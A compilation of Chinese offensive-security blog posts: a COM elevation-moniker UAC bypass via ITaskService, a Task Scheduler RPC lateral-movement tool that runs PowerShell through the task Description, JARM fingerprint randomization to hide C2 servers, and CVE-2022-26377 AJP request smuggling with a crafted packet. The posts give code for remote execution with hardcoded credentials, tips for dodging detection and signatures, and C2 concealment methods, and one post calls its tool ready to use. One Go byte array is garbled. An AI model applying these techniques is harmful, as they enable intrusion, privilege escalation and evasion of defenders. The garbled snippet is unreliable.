组信息
-----------------

组名                                   类型   SID          属性
====================================== ====== ============ ==============================
Everyone                               已知组 S-1-1-0      必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户和管理员组成员    已知组 S-1-5-114    只用于拒绝的组
BUILTIN\Administrators                 别名   S-1-5-32-544 只用于拒绝的组
BUILTIN\Performance Log Users          别名   S-1-5-32-559 必需的组, 启用于默认, 启用的组
BUILTIN\Users                          别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\INTERACTIVE               已知组 S-1-5-4      必需的组, 启用于默认, 启用的组
CONSOLE LOGON                          已知组 S-1-2-1      必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users       已知组 S-1-5-11     必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization         已知组 S-1-5-15     必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户                  已知组 S-1-5-113    必需的组, 启用于默认, 启用的组
LOCAL                                  已知组 S-1-2-0      必需的组, 启用于默认, 启用的组
NT AUTHORITY\NTLM Authentication       已知组 S-1-5-64-10  必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Mandatory Level 标签   S-1-16-8192

所以,作为交互式登录的我们才有权限激活以及调用提升后的COM组件。

其次,从程序设计角度,我们查看关于COM Proxy的定义。按照https://docs.microsoft.com/en-us/windows/win32/com/proxy所述,代理对象驻留在调用方进程,充当远程对象的代理,在调用方看来,对代理对象的调用和直接调用真实对象并无区别。

这是一个完整的对象代理,应用且遵循代理模式,即代理对象的表现形式暴露方法调用方式与真实对象完全相同

从Web安全的角度,可以理解为ysoserial里面到处都在用的InvocationHandlerUtil返回的那个泛型对象,或是你用RetransformAgent劫持Tomcat FilterSpring Controller之后,为了不影响业务而做的那个Wrapper;从开发的角度,等同于你用过的任何AOP。

所以我们在0x04 调用所进行的操作可以翻译为:

1.我们要求COM激活器绑定至MonikerElevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}的对象,由于激活上下文标记为CLSCTX_LOCAL_SERVER,本地COM客户端(combase.dll)将请求DCOM服务,发送一个进程外(Out-Of-Process)提升的(Elevated)激活请求。
2.DCOM根据组件注册信息(registration info)激活上下文(Activation Context),确保A6BFEA43-501F-456F-A845-983D3AD7B8F0对象可以提升(实际上这里将调用AppInfo服务),且当前用户具备激活权限(存在包含已启用组S-1-5-4显式DACL)。
3.DCOM服务在新的(new)其他的(others)提升后的(elevated) 进程中进行激活(activation)操作,创建真实对象(Real Object)
4.DCOM通知本地COM客户端激活成功(HRESULT=S_OK),本地客户端在当前进程创建真实对象的代理(Proxy)作为实际通信目标。
5.当前进程在代理对象上调用实例方法,该方法实际上由远程对象进行处理。
6.根据方法签名,调用将返回新的ITaskService对象引用。由于ITaskService对象未实现额外的编组(Marshalling)接口,COM进行默认封装,返回远程对象引用(Remote Object Reference,ObjRef)
7.本地客户端在当前进程以代理对象(Proxy Object)形式创建ITaskService对象的代理(Proxy)
8.根据MSDN所述,对象远程引用在调用方(caller)等于真实对象;根据CLSID,真实对象是一个ITaskService
9.我们在未提升进程(unelevated process)中,获取到了在提升后进程(elevated process)ITaskService对象代理,任何对代理对象的操作都将无条件转发至真实对象。
10.创建带有TASK_RUNLEVEL_HIGHEST标记或其它任意用户(例如SYSTEM)运行的计划任务。完成UAC绕过。

如果你有耐心看到这里,请务必牢牢记住代理模式这个名词与其含义。我们在本文中见证了一个实际环境中的代理模式套娃,要理解这种模式背后的设计理念和思想,这个思想以后会用在你开发的每行代码、审计的每个功能以及测试的每个业务上。

到这里,我们可以回答0x00中提出的问题了:

1.确实存在一个未文档化的COM,能够根据我们可控制的方式调用计划任务组件。
2.这个组件配置了UAC提升,其通过默认COM代理,在提升后的代理进程内,根据已知的白名单CLSID,创建进程内COM对象;随后通过COM代理直接返回至调用方,供未提升的进程进行调用。
3.由于白名单中有且只有0f87369f-a4e5-4cfc-bd3e-73e6154572dd即计划任务(TaskService),导致未提升的进程可获取一个提升后的TaskService对象
4.通过调用此对象即可创建以完整权限运行的计划任务,实现UAC ByPass。

0x06 总结

这篇文章可以认为是从理论基础发散并落地到实战应用的开端。以前一篇微软文档化的MS-TSCH协议与XML作为基础,结合COM基础知识作为补全;随后发掘出有价值的研究目标,作为具有实战价值的工具与代码实现落地;最终我们重新梳理总结相关知识点,借本次这个实例重温关于COM诸多知识细节,并在实践中一一验证,实现“知识闭环”。

文章涉及的相关代码可以在https://github.com/zcgonvh/TaskSchedulerMisc/找到。虽然能够直接编译执行,但我依然不建议直接拿来使用,这对于能力提升并没有任何好处。
(另:请遵守刑法、网络安全法等相关规定,我只是单纯分享知识,任何使用不当造成的后果请自行承担)
请尊重开源协议 ,抄代码做“武器化”挺无聊的不是么)

当然,这篇文章并不全面,我们只是单纯的根据注册表,然后根据其功能找到了一个UAC Bypass。

而其他的多个角度,无论是继续进行0x01最后对计划任务的跟踪,或是重新对UAC乃至COM进行挖掘,从研究的角度看都有很多细节值得发散开来。

限于篇幅,一些拓展性质的思考将在后续某些系列中进行讲解。

最后,还是那句话,文章的目的是传递知识,论文形式的总结除了“让文章看起来丰满”之外毫无意义。安全研究这种强知识导向的领域没有取巧,只有知识积累才是串联一切的根本,最终厚积薄发乃至蜕变。

希望这篇文章能在技术点之外为各位带来启发。

Advanced Windows Task Scheduler Playbook - Part.3 from RPC to lateral movement

0x00 问题

书接上文,在对计划任务组件本机调用的跟踪与研究下,我们将COMUACITaskService进行了巧妙的结合,从而成功地找到了一个新的UAC Bypass,或者说一个新的攻击面。

现在,不妨继续拓宽思路。回顾第一篇,我们在研究的开始确认了计划任务程序的本质为以XML为数据载体的RPC接口。按照微软的说法,RPC用于“跨进程间调用,不论进程是否在同一台主机上”。

所以,基于RPC协议的计划任务天生可用来进行横向移动。

当然,这并不是什么新技术,作为没在八月初猝死的那一批,我们已经再次狠狠地把玩了一番atexecschtasks甚至更古老的at.exe。这些技巧无一例外利用了计划任务组件RPC接口进行横向移动。在已知的利用方式中,我们可以通过在远程执行命令,写入文件,最终通过共享目录进行读取的方式完成回显;或是通过诸多无文件手段直接上线。

而在实战中,这些或多或少会遇到一些问题。例如文件回显的技巧可能面临共享无法访问、SMB协议不兼容等诸多非常规环境;除了环境限制的因素之外,对抗环境下更多时候还要面临“已知”带来的威胁:一个已知的攻击方式或手法,一定有对应的检测。

这也就进一步导致了一个很实际的问题:

工具也好,武器也好,平台也罢,无论在理论环境下运行的多么完美,实战环境下总可能“不那么好用”。

探究新方法永远是对抗的第一课题。现在,基于实战环境下的需要,我们为自己找了一个新课题:如何实现更为稳定的横移回显/环境探测?

0x01 思考

安全研究绝不是盲目地解决问题。在这里,我们的最终目的是探索一个(某些环境下)相对更好的横向移动技术,技术问题往往能够很容易的分解为多个递进的步骤,所以可以继续细化一些:

横向移动存在哪些阶段?每个阶段中分别涉及哪些技术?每个技术细节存在哪些优劣?

顺着这样的思路来思考,就会带出下面的技术细节:

横向移动需要连接到目标,在网络层面则表现为协议,那么第一个子问题就是:
采用什么协议?

协议承载服务,非漏洞的横向移动本质上是服务功能的滥用,所以可以分解出第二个子问题:
我们能够使用服务本身提供的哪些功能,来获取执行权限?

成功获取执行权限后,实战环境下往往需要一个结果反馈,我们得到第三个子问题:
服务本身是否可以直接返回结果?如果不支持,那么需要额外采用哪些手段?

最后,则是实战环境经久不衰的老问题:
上述方式实现是否存在已知的特征?

将上述阶段串联起来,就是我们期望进行的完整流程。这个思路可以用反序列化链/ROP做对比,我们把整个步骤视作Chain,每一步中任意实现均视作独立且可连接的Gadget,对抗点视作黑名单,结合已知的知识,很容易得到类似这样一个简单且不完善的表格:

协议服务执行返回对抗点SMBATSVC命令文件共享cmd /c重定向、文件落地SMBSRVSVC服务文件共享cmd /c重定向、文件落地RPC/DCOMWMI命令/服务文件共享/注册表cmd /c重定向、SMB依赖、流量UUID

看,威胁情报和安全研究串起来了,Web和对抗也有了联系。

考虑到我们正在研究计划任务,那么随之思考:计划任务能否做到这一点?
根据我们前两篇文章的研究结果,不难回答这一问题:

1.MS-TSCH基于RPC,无法关闭且多数情况下允许访问。
2.ExecAction提供无限制的命令执行,写入文件与注册表后,ComHandlerAction提供无限制的代码执行。
3.协议内部通过UTF-16编码,将完整的XML定义以原样传输至客户端。其中Description元素可无限制放置任何字符串内容。

Advanced Windows TaskScheduler Playbook


4.流量层面仅能够通过UUID捕获握手包,直接报警/阻拦可能影响服务器管理;主机层面进程链全部为白名单ExecAction不支持输出重定向所以需要无文件手段;ComHandlerAction需要无文件手段或其他方式写入文件注册表

所以我们的表格可以添加下面并列的两项:

协议服务执行返回对抗点RPCTSCH命令原生协议流量UUID、无文件攻击检测RPCTSCH命令原生协议流量UUID、文件注册表落地

考虑复杂度,基于无文件的ExecAction显然优于需要大量落地的ComHandlerAction

所以,我们的问题从横向移动顺理成章地转换为无文件攻击对抗

而这项至少十年的技术利用方式非常成熟,变换手段非常多样化,也就意味着我们拥有很多顺畅的实现方式。在当前场景下,我们需要利用无文件攻击执行命令或进行信息探测,并在随后修改计划任务信息作为返回。
显然,各种基于脚本形式的无文件攻击都能做到这一点,例如mshta、各种形式的sctxsltcmd、以及PowerShell
首先排除cmd;其次,考虑到前几种基于Windows脚本宿主(Windows Script Hosting)的技术需要对外发起http或smb请求,而文件落地又容易引起某些不必要的问题。所以,通过命令行实现完整脚本功能的PowerShell成为首选。

0x02 实现

确认了技术要点,实现起来就完全没难度了。

首先,我们参考前两章的内容,无论是照抄MSDN示例、自己编译IDL、使用C# Interop等等均可直接实现连接至远程目标,要做的无非是在使用RPC时指定正确的Binding,并调用RpcBindingSetAuthInfoEx

_SEC_WINNT_AUTH_IDENTITY identity = { 0 };
LPWSTR domain = L"ROOT";
LPWSTR username = L"administrator";
LPWSTR password = L"P@ssw0rd";
identity.Domain = (unsigned short*)domain;
identity.DomainLength = lstrlenW(domain);
identity.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
identity.User = (unsigned short*)username;
identity.UserLength = lstrlenW(username);
identity.Password = (unsigned short*)password;
identity.PasswordLength = lstrlenW(password);
RpcBindingSetAuthInfoExW(hBinding, 0, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, &identity, 0, (RPC_SECURITY_QOS*)&qos);

或是在调用ITaskService::Connect时指定凭据:

pService->Connect(_variant_t(L"Target"), _variant_t(L"administrator"),_variant_t(L"ROOT"), _variant_t("P@ssw0rd"));

(体会到抽象透明的好处了么)

其次,PowerShell提供了针对计划任务的完整对象模型,并提供了Get-ScheduledTaskSet-ScheduledTask等一系列Cmdlet进行操作。我们甚至不需要参考msdn,仅根据本地的cmdlet帮助文档就可以写出类似这样的脚本:

$task=Get-ScheduledTask -TaskName TestTask -TaskPath \;
$task.Description=(iex $task.Description|out-string);
Set-ScheduledTask $task;

在这段脚本中,我们通过Get-ScheduledTask获取到远程操控的对象,通过iex执行Description中保存的命令,考虑到PowerShell一切返回均为对象,所以采用out-string将结果转换为可读的字符串,最后进行保存。

Gadget思想的一个重点在于:如果gadget没错,将gadget串联的逻辑也没错,那么最终的结果一定是正确的。所以接下来,我们只需要创建一个计划任务,将XML/Task/RegistrationInfo/Description元素内容设置为要执行的命令,将名称设置为TestTask,将命令行指定为上面的PowerShell命令,运行这个计划任务,Description将变为命令结果。

Advanced Windows TaskScheduler Playbook

最后只要读取XML的内容,匹配出Description内容即可。

var xd=new XmlDocument();
xd.LoadXml(task.Xml);
Console.WriteLine(xd.SelectSingleNode("/*[local-name()='Task']/*[local-name()='RegistrationInfo']/*[local-name()='Description']").InnerText);

0x03 打磨

通过上面思考至落地的过程,我们有了一个可执行、有效果的技术原型,接下来进行打磨,使之更贴近实战“武器”的状态。

首先,我们利用ExecAction创建计划任务,这意味着需要使用命令行传参,所以最好使用-EncodedCommand。这实际上和opsec无关,主要目的是为了处理转义可能带来的一系列问题。

在对抗层面,我们知道PowerShell处理参数的逻辑是根据前缀执行不区分大小写的匹配,所以实际上-EncodedCommand除了常见的-e-enc,还有类似以下几万种写法:

-eN
-eNCo
-Encode
....

计划任务在后台运行,所以最好加上-NonInteractive,同样的,这个参数也有以下几万种写法:

-nonInt
-nOnInTe
....

对付一些没有词法分析的常规防御手段,这些基本上足够了。

接下来,由于我们在进行横向移动,所以并不能确定命令在目标环境的执行时间,所以需要加一个轮询。

轮询的退出条件绝不能睿智地直接判断是否修改了Description,这实际上也不是不能用,但在脚本出错的情况下等于死循环。

IRegisteredTask对象提供了表示当前任务状态的State属性,任务运行结束后将由Running变为Ready,所以只要轮询读取任务状态即可。

while (task.State != TaskState.Ready)
{
    task = folder.GetTask(taskname);
    Thread.Sleep(1000);
}

接着是一些锦上添花的可选opsec手段,因为命令内容中并没有常见的(我特指下载执行这个被很多规则视作Powershell唯一滥用方式的)强特征,所以几乎不用处理。

同样的,没什么杀软会扫任务计划的Description属性(无论对象内存还是Xml),所以默认不进行处理也是足够的。

当然,这些都是后续,等到这个方法被捕获了部分“强特征”,到时候处理一下iex,对返回命令进行编码就会变为新的对抗点等待挖掘。

最后,不要忘记iex实际上执行的是PowerShell脚本,所以,这是一个远程PowerShell(回忆一下WinRM),也就意味着我们不光可以执行命令行程序

Advanced Windows TaskScheduler Playbook

也可以执行任意Cmdlet

Advanced Windows TaskScheduler Playbook

甚至于更为复杂的脚本

Advanced Windows TaskScheduler Playbook

也即意味着,一切.Net能做到的事情,我们都能在远程(Remotly)无文件(fileless)无感知(undetectable)地进行操作。再进一步修改我们甚至能够做到真正基于MS-TSCH实现的交互式(Interactive)远程PowerShell。

(为什么上面说可能脚本出错?这里就是了)

0x04 反思

至此,和计划任务相关的内容基本结束了。接下来我们跳出计划任务角度,站在应用场景的角度来回顾曾经我们可用的方案。一方面做个简单的总结,另一方面,想一想如何合理地进行使用。

在横向移动这个场景下,除了漏洞与计划任务之外,最为经典好用的技术要数PsExecWMI这两种。

为什么PsExec经久不衰?除了微软签名带来曾经的opsec之外,还有着通过域环境下默认必须开启的SMB协议,实现了单协议的横移与回显结合的特点,所以在相当长的时间用作内网渗透的首选。哪怕是现在,基于Impacket或是API的自修改版PsExec依然能起到不俗的作用。

为什么后续换成WmiExec?因为WMI服务同样默认开启,且基本上不存在关闭的可能,通过stdregprov依然可以达到同协议回显的目的,从而变为基于DCOM协议横移的首选。

现在,我们多了基于RPC的taskexec这个技术选择。
是的,这仅仅是一个技术补充,而非替代品。

为什么?

因为每一种攻击技术,必定有着不同的应用范围/环境要求,同时必定存在各种各样的强特征
所有声称无感的(undetectable)绕过(bypass)/逃逸(evasion)方式,只是没有捕获强特征罢了
强特征意味着被检测、被追溯的可能。
但没有哪家产品敢于声称100%检测某一技术与其变种
也没有哪家产品能够做到100%无需人为判断/处置。
而且检测和追溯需要
更何况验证自动化的结果进行处置同样需要
在我们从钓鱼的变成钓鱼佬之前,几乎不可能见到这个场景下可以替代人工的AI大规模商用。

所以,每一个备选项在实战中,都是通向成功的一个Gadget。更深入一些,在最初0x01列出的mshtasctComHandler等等未选择的实现方式同样也是备选项,都是在实现基于任务计划的横向移动这一目的的过程中可用的Gadget。
甚至于将这些备选项重新组合,还能得到另外一大堆很好用的chain

而本文所述内容,则是在对抗-内网渗透-域-RPC这个更大的行为链条中的一个更大的gadget。

0x05 总结

这是本系列第三篇,我们从应用场景入手,随后进行可行性分析,接下来根据分析的内容进行原型实验,最后结合实战经验,打磨出一个全新的横向移动工具。

与人斗,其乐无穷。安全研究实质上是人与人之间的博弈,从纯粹技术的角度看来,每一个精通掌握的技术点都应当能够变为我们的Gadget储备,并结合我们长期积累的经验,在过程中动态地创造一条合理的Chain,最终在实战中发扬光大。

实战应用应当是知识的有机组合,不存在一劳永逸绝对成功的技巧,但知识的积累与理解能让我们更加轻松。

当然,如果你就是喜欢无脑12345,那权当我什么都没说

文章中的代码可以在Github找到,这次是一个没什么坑的原型,可以直接用,但最好自行修改一些特征防止撞车。

还是那句话,希望这篇文章能在技术点之外为各位带来启发。

To be continued....

JARM指纹随机化技术实现

By: 风起
30 June 2022 at 09:17

作者:风起

时间:2022年6月30日

基于JARM指纹的C2识别

​ JARM的工作原理是主动向目标TLS服务器发送10个特殊构造的TLS Client Hello包,以在TLS服务器中提取独特的响应,并捕获TLS Server Hello响应的特定属性,然后以特定的方式对聚合的TLS服务器响应进行散列,产生JARM指纹。

因为Client Hello中的参数不同,最终返回的Server Hello都是不相同的,通过发送特殊构造的Client Hello握手包,以获取与之对应的特殊Server Hello响应,以此作为依据,最终产生TLS Server指纹。

JARM以不同的顺序发送不同的TLS版本、密码和扩展,以收集唯一的响应。

  • 服务器是否支持TLS 1.3协议?
  • 它会用1.2密码协商TLS 1.3吗?
  • 如果我们将密码从弱到强排序,它会选择哪个密码?

这些是JARM本质上要求服务器提取最独特响应的异常问题类型。然后对这10个响应进行哈希处理以产生JARM指纹。

TLS Client Hello请求流量

Wireshark Filter:

ssl.handshake.type == 1
1

TLS Server Hello响应

1

多数情况下JARM指纹都是用以佐证TLS服务并进行标记,从而关联服务。当然,最理想的状态下,我们能够通过JARM指纹唯一的指向目标C2设施,但是实际来讲JARM指纹对于不同服务器部署的C2设施并不是唯一的,有很多因素都会对其扫描的结果造成影响。所以我们并不能作为行为测绘的指纹直接关联到某个C2的服务,仅能起到佐证的效果。

在开发RedGuard的过程中我发现,因为本身来讲RG的作用就是进行前置流量的控制,从而实现后端C2服务的隐匿性,在蓝队对流量交互进行分析的时候,针对RG的JARM指纹扫描结果在多数差异的环境下都是相同的,也就是说,在分析的过程中,这个指纹是可以起到佐证攻击设施的作用,从而破坏我们想要预期达到的隐匿性。

基础设施的更改(例如,IP 地址、托管平台)不会影响JARM签名,这使得常规的方式难以对其进行规避。

影响服务端JARM指纹的因素:

  • 操作系统及版本
  • 使用的库及版本
  • 调用库的顺序
  • 自定义配置
  • ........

也就是说,如果我们想要影响最终针对服务端的JARM指纹扫描结果,我们就要从上面的几个因素入手去做,目前的解决方案共有两种:

一、重播TLS Server Hello响应

二、更改TLS Server配置CipherSuites加密套件

第一种方式也就是在监听特定客户端 Hello 的 TCP 服务器,然后在C2服务器上捕获这些特定的Client Hello(每个请求都有重复的字节,使用这些字节来识别每个特定的Client Hello握手包),稳定的对这10个特殊构造的Client Hello的响应进行重播,从而实现改变真实JARM指纹的效果。

if bytes.Contains(request, [] byte { 
     0x00, 0x8c, 0x1a, 0x1a, 0x00, 0x16, 0x00, 0x33, 0x00, 
     0x67, 0xc0, 0x9e, 0xc0, 0xa2, 0x00, 0x9e, 0x00, 0x39 
     , 0x , 0xc0, 0x9f, 0xc0, 0xa3, 0x00, 0x9f, 0x00, 
     0x45, 0x00, 0xbe, 0x00, 0x88, 0x00, 0xc4, 0x00, 0x9a, 
     ... ... 
}) { 
     fmt.Println("replaying: tls12Forward ") 
     conn.Write([] byte { 
         0x16, 0x03, 0x03, 0x00, 0x5a, 0x02, 0x00, 0x00, 
         0x56, 0x03, 0x03, 0x17, 0xa6, 0xa3, 0x84, 0x80, 
         0x0b, 3,d, 0xbb, 0x 0xe9, 0x3e, 0x92, 0x65, 
         0x9a, 0x68, 0x7d, 0x70, 0xda, 0x00, 0xe9, 0x7c, 
         ... ... 
     }) 
}

在对所有十个不同的请求实施回复后,可以伪造完整的签名。

1

​ 这是一种比较懒惰的办法了,最终的效果确实能够对JARM扫描的结果进行混淆,但是我认为太过单调,需要注意的是ServerHello的原始响应他不能进行任意修改,因为在工具开发中流量的正常交互才是最重要的,任意修改上述一些影响 JARM扫描的因素可能导致无法正常通信的问题出现。也就是说他所重播的这些ServerHello数据包是需要监听某个正常的服务的JARM扫描响应来实现的,并不适合我们应用到工具去实现混淆的效果,我们需要一种简单而又稳定的方法。

当然,这种方式还有一种延伸,就是首先随机获取正常站点的列表进行JARM指纹扫描,从而获取其ServerHello响应然后,直接作为识别到JARM扫描握手包的响应包进行重播,这样是最合理的一种方式。

​ 第二种也就是阿姆斯特丹2021 HITB议题《COMMSEC: JARM Randomizer: Evading JARM Fingerprinting》中提到的一种方式,作者在github上对衍生工具 JARM Randomizer进行了部分开源,通过阅读它的代码不难看出,其实与我最初想到的方式非常相像,最终影响JARM的因素使用的是CipherSuites加密套件(加密算法套件 CipherSuite 由各类基础加密算法组成)**

实现代码:

1

如上图,针对反向代理的TLS Config CipherSuites的设置,我提供了15种不同的加密套件方式,1/2/3....个不同组合的加密套件最终得到的JARM指纹结果都不是相同的(加密套件过多会导致无法正常通信的玄学问题),这里我对这15种加密套件进行随机组合的方式,1-2个随机取值进行组合这些CipherSuites,大概会有几十种不同的随机JARM指纹产生。

最终效果如下:

1

可以看到,最终应用在工具的效果就是在每次启动RG的时候,它的JARM指纹都不是相同的,会自动根据上述的混淆方式产生一个全新的JARM指纹,可以防止空间测绘的扫描,以此关联公网上RG基础设施的部署情况。目前市面上多数测绘平台都会进行集成并默认进行JARM指纹的扫描,可能也是因为其扫描效率快,扫描资源成本低、同时又对C2设施有着一定的佐证指向性的原因吧。

RedGuard是一款C2基础设施前置流量控制设施,可以规避Blue Teams、AVs、EDRs检查。

参考链接:

https://github.com/wikiZ/RedGuard

https://github.com/netskopeoss/jarm_randomizer

https://grimminck.medium.com/spoofing-jarm-signatures-i-am-the-cobalt-strike-server-now-a27bd549fc6b

https://conference.hitb.org/hitbsecconf2021ams/sessions/commsec-jarm-randomizer-evading-jarm-fingerprinting/

CVE-2022-26377: Apache HTTPd AJP Request Smuggling

By: RicterZ
8 July 2022 at 05:36

本文介绍了一种针对 AJP 的全新攻击方法和思路,打开在诸如 Apache HTTPd 使用 proxy_ajp 对 Tomcat AJP 进行反向代理、产品自研的 AJP 反向代理的攻击面,同时也可以尝试横向扩展至 FastCGI 等协议(当然,并没有挖到其他协议的)。

本文的灵感来源是针对 ████████████ 进行审计的过程中,发现其实现了一个名为 Secure Gateway 的网关,此网关针对连接进入的 HTTP 协议解析后转化为 AJP 协议数据包后,转发到后端的 Tomcat AJP 服务。通过深入研究,发现可以利用本文所述的攻击手法构造 AJP 数据包攻击后端服务。

1. AJP Protocol Details

自长亭科技发现 GhostCat(CVE-2020-1938)漏洞后,Tomcat 做了几个安全措施:在配置层面,默认将 8009 端口监听在 localhost,同时默认不开启 AJP 协议;在代码层面,默认拒绝通过 AJP 协议传入的一些 attributes,防止某些特殊 attributes 被利用(比如 javax.servlet.include.path_info),在配置文件中通过 allowedRequestAttributesPattern 来匹配允许设置的 attributes。

AJP 服务全称 Apache JServ Protocol,是一个类似 HTTP 的二进制协议,数据包格式较为简单。AJP 协议的 请求数据包Magic 为 0x1234,后面紧跟着 2 个字节的数据长度字段,再往后就是数据包的具体内容。如下所示:

00000000  12 34 00 98 02 02 00 08  48 54 54 50 2f 31 2e 31   .4...... HTTP/1.1
00000010  00 00 01 2f 00 00 0b 31  30 2e 32 31 31 2e 35 35   .../...1 0.211.55
00000020  2e 32 00 ff ff 00 0b 31  30 2e 32 31 31 2e 35 35   .2.....1 0.211.55
00000030  2e 33 00 00 50 00 00 03  a0 0b 00 0b 31 30 2e 32   .3..P... ....10.2
00000040  31 31 2e 35 35 2e 33 00  a0 0e 00 0b 63 75 72 6c   11.55.3. ....curl
00000050  2f 37 2e 37 37 2e 30 00  a0 01 00 03 2a 2f 2a 00   /7.77.0. ....*/*.
00000060  0a 00 0f 41 4a 50 5f 52  45 4d 4f 54 45 5f 50 4f   ...AJP_R EMOTE_PO
00000070  52 54 00 00 05 35 31 36  37 36 00 0a 00 0e 41 4a   RT...516 76....AJ
00000080  50 5f 4c 4f 43 41 4c 5f  41 44 44 52 00 00 0b 31   P_LOCAL_ ADDR...1
00000090  30 2e 32 31 31 2e 35 35  2e 33 00 ff               0.211.55 .3..

在请求数据包中,第五个字节表示的是 Code Type,AJP 协议支持包括 Forward Request(0x02)、Shutdown(0x07),Ping(0x08),CPing(0x10)几个 Code Type。需要特殊注意的是,如果没有指定 Code Type,则表示这个数据包是一个“数据”数据包,其内容只包含着请求数据。

看到这里,其实 AJP 协议的缺陷就显现得比较清楚了。AJP 的数据包并不能界定所谓“数据”数据包和“命令”数据包,所以可以导致我们在某些情况下可以针对数据包进行伪造

对于 AJP 协议的其他细节就不再进行赘述,可以参考 Apache Tomcat 的官方文档:https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

2. Content-Type

针对包含数据的请求,如果在 HTTP 请求中存在 Content-Type 头,AJP 代理实现的方式是分为两个数据包发送。第一个数据包包含着请求头的信息,第二个数据包为“数据”数据包。

00000000  12 34 00 c4 02 04 00 08  48 54 54 50 2f 31 2e 31   .4...... HTTP/1.1
00000010  00 00 01 2f 00 00 0b 31  30 2e 32 31 31 2e 35 35   .../...1 0.211.55
00000020  2e 32 00 ff ff 00 0b 31  30 2e 32 31 31 2e 35 35   .2.....1 0.211.55
00000030  2e 33 00 00 50 00 00 05  a0 0b 00 0b 31 30 2e 32   .3..P... ....10.2
00000040  31 31 2e 35 35 2e 33 00  a0 0e 00 0b 63 75 72 6c   11.55.3. ....curl
00000050  2f 37 2e 37 37 2e 30 00  a0 01 00 03 2a 2f 2a 00   /7.77.0. ....*/*.
00000060  a0 08 00 01 36 00 a0 07  00 21 61 70 70 6c 69 63   ....6... .!applic
00000070  61 74 69 6f 6e 2f 78 2d  77 77 77 2d 66 6f 72 6d   ation/x- www-form
00000080  2d 75 72 6c 65 6e 63 6f  64 65 64 00 0a 00 0f 41   -urlenco ded....A
00000090  4a 50 5f 52 45 4d 4f 54  45 5f 50 4f 52 54 00 00   JP_REMOT E_PORT..
000000A0  05 35 32 32 30 32 00 0a  00 0e 41 4a 50 5f 4c 4f   .52202.. ..AJP_LO
000000B0  43 41 4c 5f 41 44 44 52  00 00 0b 31 30 2e 32 31   CAL_ADDR ...10.21
000000C0  31 2e 35 35 2e 33 00 ff                            1.55.3.. 

000000C8  12 34 00 08 00 06 41 42  43 44 45 46               .4....AB CDEF

可以看到,在第 0x65 字节,标识了数据长度为 6。在第二个数据包,则是一个只包含着数据长度和数据的数据包。在 Apache Tomcat 的 org/apache/catalina/connector/Request.class 中,针对数据包的处理方式如下:

protected void parseParameters() {
    // ...
    try {
        // ...
        if (!this.usingInputStream && !this.usingReader) {
            String contentType = this.getContentType();
            // 判断是否有必要进行下一步

            int len = this.getContentLength();
            if (len <= 0) {
                if ("chunked".equalsIgnoreCase(this.coyoteRequest.getHeader("transfer-encoding"))) {
                    // ...
                    formData = this.readChunkedPostBody();
                    // ...
                }
            } else {
                // ...
            }

首先会根据 Content-Type 判断是否有必要进行数据处理,接着判断 Content-Length 是否为 0,如果不为 0,则会读取缓冲区数据流中的下一个 AJP 请求数据包进行数据处理。

3. Transfer-Encoding: chunked

针对 Transfer-Encoding: chunked 的情况,AJP 代理通常不会立刻发送请求,而是等待 AJP 服务端返回 GET_BODY_CHUNK 的返回包 41 42 00 03 06 1f fa后,再接着发送。当数据发送完成时,则发送一个 12 34 02 00 00 00 的空数据包表示数据发送完成。

4. Request Smuggling

请求走私从来都不是一个服务产生的问题,而是多个服务交互中的不一致情况导致的。

  1. 发送的 Content-Length 为 0 但是转发了全部请求体的情况;
  2. 发送两个 Content-Length,其中前端代理使用第一个,而 Tomcat 使用第二个;
  3. 使用 Transfer-Encoding 传送数据,但是前端立刻向后端发送了数据;
  4. 使用 Transfer-Encoding 传送数据,但前端正常识别 chunked 而后端不能正确识别。

除了第一条暂未遇到真实情况以外,第 2、3 条在  ████████████  中可以成功攻击,第 4 条在 Apache HTTPd 的 proxy_ajp 可以成功攻击。

5. ████████████

████████████ 对于 Transfer-Encoding 处理错误,导致获取到数据后立刻向后端发送 AJP 数据包,从而导致 AJP 无法分清命令数据包和“数据”数据包,最终导致请求走私。

6. Apache HTTPd mod proxy_ajp

通过查询 Mozilla 对于 Transfer-Encoding 的语法定义,发现Transfer-Encoding 支持如下格式:

Transfer-Encoding: gzip, chunked

所以在 Apache HTTPd 中发送诸如此类格式的 Transfer-Encoding 会正常解析出 chunked 的数据段,而在 modules/proxy/mod_proxy_ajp.c 的编写方式如下:

if (tenc && (strcasecmp(tenc, "chunked") == 0)) {
    /* The AJP protocol does not want body data yet */
    ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(00870) "request is chunked");
} else {
    /* Get client provided Content-Length header */
    content_length = get_content_length(r);
    // ...
    status = apr_brigade_flatten(input_brigade, buff, &bufsiz);
    // ...
    if (bufsiz > 0) {
        status = ajp_send_data_msg(conn->sock, msg, bufsiz);

这会导致在此处的 if 判断进入 else 分支,并立刻发送用户可控的 POST 的数据至 AJP 服务,而非正常逻辑中等待GET_BODY_CHUNK返回包发送后才继续发送,导致请求走私。

7. Exploitation

首先观察正常发送的数据包:

00000000  12 34 00 0a 00 08 64 61  74 61 3d 31 32 33         .4....da ta=123

除去 Magic(0x1234)和消息长度(0x000a)之后,接着的是数据的长度(0x0008)和数据内容,而在正常命令数据包中:

00000000  12 34 00 d9 02 04 00 08  48 54 54 50 2f 31 2e 31   .4...... HTTP/1.1

第 5、6 字节为 Code Type 和 HTTP Method,所以如果需要构造一个 GET 请求,则需要构造数据的长度为 0x0202(516)才可以满足需求格式,可以通过填充某些 request attribute 或者请求参数来填充。在 Apache HTTPd 的 proxy_ajp 可以成功实现文件读取,结合文件上传也可以实现 RCE,具体利用方式可以参考 GhostCat 的利用方式。

$ xxd data
00000000: 0008 4854 5450 2f31 2e31 0000 012f 0000  ..HTTP/1.1.../..
00000010: 0931 3237 2e30 2e30 2e31 00ff ff00 0161  .127.0.0.1.....a
00000020: 0000 5000 0000 0a00 216a 6176 6178 2e73  ..P.....!javax.s
00000030: 6572 766c 6574 2e69 6e63 6c75 6465 2e72  ervlet.include.r
